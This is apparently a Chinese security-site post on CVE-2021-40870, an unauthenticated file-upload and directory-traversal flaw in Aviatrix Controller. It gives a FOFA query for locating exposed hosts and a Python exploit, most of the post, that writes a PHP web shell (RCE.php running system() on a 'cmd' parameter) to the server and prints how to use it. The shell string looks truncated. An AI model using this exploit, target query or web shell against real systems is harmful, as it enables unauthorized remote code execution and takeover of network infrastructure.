新洞！CVE-2021-40870 Aviatrix-Controller 远程代码执行Getshell

洞悉安全，风洞网，认准官方网站！

---

FOFA语法：app="Aviatrix-Controller"

CVE-2021-40870 漏洞利用

在 6.5-1804.1922 之前的 Aviatrix Controller 6.x 中发现了一个问题。可以不受限制地上传具有危险类型的文件，这允许未经身份验证的用户通过目录遍历执行任意代码。

POC

def poc_attack(url):
    try:
        url = url + "/"
 
        filename = "RCE.php"
        shell = '''cmd'])){ echo "
"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "
"; die; }?>'''
        if url.startswith('https://'):
            k = url.replace("https://", "")
            if k.endswith("/"):
                p = k.replace("/", "")
 
        user = '''Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36'''
 
        headers = {
     
            "Host": p,
            "User-Agent": user,
            "Connection": "close",
            "Content-Length": "109",
            "Content-Type": "application/x-www-form-urlencoded",
            "Accept-Encoding": "gzip",
        }
 
        body = f'CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/{filename}&data=poc by agun{shell}'
 
        r = requests.post(url + '/v1/backend1', headers=headers, data=body, verify=False)
        check_file = requests.get(url + '/v1/' + filename, verify=False)
        if check_file.status_code == 200:
            print(f'EXPLOITED {url}')
            print('')
            print(f'Go To {url}/v1/{filename}')
            print('')
            print('access shell using RCE.php?cmd=[command]')
    except Exception as err:
        pass

原POC利用Github公布地址：https://github.com/0xAgun/CVE-2021-40870